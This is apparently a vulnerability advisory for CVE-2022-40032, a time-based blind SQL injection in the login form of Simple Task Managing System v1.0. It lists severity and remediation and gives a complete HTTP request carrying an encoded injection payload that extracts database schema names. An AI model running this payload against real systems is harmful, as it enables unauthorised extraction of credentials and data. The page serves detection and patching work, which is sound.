| Title | Simple Task Managing System v1.0 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection through the login parameter in loginValidation.php, potentially extracting sensitive database information including user credentials, task data, and system configuration. |
| Remediation | Update Simple Task Managing System to a patched version that properly sanitizes and parameterizes SQL queries in loginValidation.php. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7301 |
| CVE ID | CVE-2022-40032 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 packetstorm simple-task stms sqli simple_task_managing_system_project vuln |
SQL injection occurs when a web application doesn’t properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.
POST /task/loginValidation.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Content-Length: 245
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
login=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(10-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40032.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40032.pcap
N/AN/A